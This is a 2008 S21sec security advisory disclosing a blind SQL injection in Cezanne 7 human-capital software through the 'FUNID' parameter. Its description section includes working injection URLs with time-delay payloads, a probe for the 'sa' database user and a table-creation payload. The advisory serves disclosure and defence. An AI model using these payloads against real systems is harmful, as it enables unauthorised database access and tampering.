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S21SEC-043-en:Cezanne SW Blind SQL Injection
From: "S21sec labs" <s21seclabs () s21sec com>
Date: Mon, 14 Apr 2008 21:35:59 +0200 (CEST)

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- S21Sec Advisory -

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Title: Cezanne SW (login required) Blind SQL Injection
ID: S21SEC-043-en
Severity: High
History:
  02.Jan.2008 Vulnerability discovered
Authors:
  Juan de la Fuente Costa (jfuente () s21sec com)
  Fco Javier Puerta Rubio (fjpuerta () s21sec com)
URL: http://www.s21sec.com/avisos/s21sec-43-en.txt


[ SUMMARY ]

Cezanne develops Human Capital Management Software.

This Software provides leading-edge Human Capital Management solutions
that help companies better develop, manage, reward and retain their most
important asset - their people.

Cezanne include applications for employee performance management, career &
succession planning, training & development, people management,
recruitment, salary analysis & compensation planning, pay review, employee
survey and organization charting.


[ AFFECTED VERSIONS ]

This vulnerability has been tested in Cezanne 7.


[ SCENARIO ]

The test has been done in the following environment:

MS Windows Server 2003 Enterprise Edition, IIS 6.0, MS SQL Server 2005


[ DESCRIPTION ]

S21sec has discovered a vulnerability in Cezanne 7 that allows injecting
SQL code in text variables.
This issue allows SQL code execution in the application server.
The vulnerable param is "FUNID"
Some examples of the exploitation:

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/CFLookup.asp?FUNID=7302015;waitfor%20delay%20'0:0:20';--&InIFrame=1
STRING:;waitfor%20delay%20'0:0:20';--

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNID=7302031;waitfor%20delay%20'0:0:05';--
STRING:;waitfor%20delay%20'0:0:05';--

To get more information about the system or create tables:

If the following request, it takes a delay of ten seconds, the database
user is not 'sa':

https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNID=7302031;if
(select user) <> 'sa' waitfor delay '0:0:10';--

In MS SQL Server 2005, xp_cmdshell is disable by default. But We can
create tables with the following request:

https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNID=7302031;CREATE
TABLE tabla_test_blindSQL_intrusion (clave int IDENTITY (100,1) PRIMARY
KEY, nombre nvarchar (50));waitfor%20delay%20'0:0:10';--

If xp_cmdshell is enable, It is possible execute command line instructions.


[ WORKAROUND ]

Contact with Cezanne Software at: http://www.cezannesw.com/


[ ACKNOWLEDGMENTS ]

This vulnerability has been discovered and researched by:
- Juan de la Fuente Costa S21Sec
- Fco Javier Puerta Rubio S21Sec
Special thanks to Vicente Diaz Saez.

You can find the last version of this warning at:
http://www.s21sec.com/es/avisos/s21sec-043-en.txt

http://www.s21sec.com
http://blog.s21sec.com

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